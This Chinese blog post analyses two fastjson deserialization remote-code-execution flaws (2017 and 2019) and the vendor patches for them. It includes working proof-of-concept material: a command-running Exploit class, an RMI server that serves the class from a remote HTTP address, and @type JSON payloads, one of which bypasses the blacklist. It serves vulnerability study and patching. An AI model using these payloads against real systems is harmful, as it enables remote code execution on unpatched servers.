fastjson反序列化0day漏洞分析

背景

fastjson号称要做最好的json解析库,但是上半年连续搜收到两份安全部的漏洞警告,很尴尬,因此对fastjson漏洞做了一个简单的研究。本文会分析2017年的远程执行漏洞和2019年上半爆出的0day漏洞。

名词解释:
0day:信息安全意义上的0Day是指在系统商在知晓并发布相关补丁前就被掌握或者公开的漏洞信息。
poc:Proof ofConcept,中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。


一、2017年的远程执行漏洞

官方链接。17年的这个漏洞相对比较简单,依赖@type的特性可以很容易的对服务器进行攻击。我先展示下poc代码,然后断点查看执行过程,最后总结流程和当时的解决方案。

poc代码
public class Exploit implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("open /Applications/Calculator.app");
        return null;
    }

    public static void exec(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            
        }
    }
}
import com.alibaba.fastjson.JSON;

public class Demo {
    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +
        "\"autoCommit\":true}";
        JSON.parse(payload);
    }
}
攻击流程
1、加载jdbc类,设置rmi

解析到@type的时候回加载类


B14E0A8B-2AB3-4307-9CC1-CF5683018247.png
4C74B6BB-9964-49D4-976B-85351F5731C3.png

JdbcRowSetImpl会设置dataSource名字,这里默认调用setDataSource方法

90FC1A26-7E9A-4F02-AE35-A71E2FBC2A7D.png

加载类的静态方法


C252AD7D-FB64-48DD-BF99-4ABB8F2C9B9A.png
2、通过rmi调用远程方法

rmi:RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。

public class Server {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
            //设置rmi端口
        Registry registry = LocateRegistry.createRegistry(1099);
        
        //设置引用的类和地址
        Reference reference = new Reference("Exploit",
                "Exploit","http://127.0.0.1:8001/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
       
       //绑定
       registry.bind("Exploit",referenceWrapper);

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

-> JdbcRowSetImpl.setAutoCommit
-> JdbcRowSetImpl.connect()
-> InitialContext.lookup(dataSource)

lookup的时候回从攻击者服务端下载序列化的类,然后初始化。这个时候会执行静态方法完成攻击。

3、fastjson的解决方案

git-diff

C11FB725-729D-4AFF-8AF5-F781D990BC1D.png

65518A0A-EBD2-455C-BAAF-950F1403D004.png

添加了类型校验和黑名单,@type直接初始化失败,单的攻击可以防御。但是这个还是有问题,所以在19年爆出了0day漏洞

二、2019年的远程执行漏洞

漏洞链接

poc 代码
import com.alibaba.fastjson.JSON;

public class Demo {
    public static void main(String[] args) throws Exception {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

其他代码与17年一致。

攻击流程

很明显要想初始化类型,需要绕过黑名单检测,这个怎么绕过呢?

1、@type绕过流程

因为java.lang.String是白名单中的类,因此checkAutoType检测通过,然后到这一步


![2F8CA7E0-DA66-4681-8413-0B2B4A0CEE5B.png](https://upload-images.jianshu.io/upload_images/1681615-ecccb7949eeab6e1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

当判断是string类型的时,会加载他的val,类完成load


F1893BDD-9247-4D65-BF35-3983035B3B27.png

后面的xxkey加载的时候可以直接从mapping获取,因此后面的也绕过了。


069D34F3-C777-498F-BDFA-113EF94347A8.png

继续的话就和17年漏洞没有区别了

2、解决方案
F64DAFC1-4498-4E9D-A6D1-DFE02AB86802.png

不在缓存类型,试的原先的二次加载失效。
官方diff

EBF629BC-FC70-4EF9-880A-D57FADA7EEB7.png

三、总结

这俩漏洞都是利用了@type的特性,然后想办法绕过了检测。安全使用的话要经常更新版本,关注官网的漏洞通知。除了这个还有很多其他的攻击方法,这里只是列举了其中的一种,因为这种使用方式范围比较广。

引用资料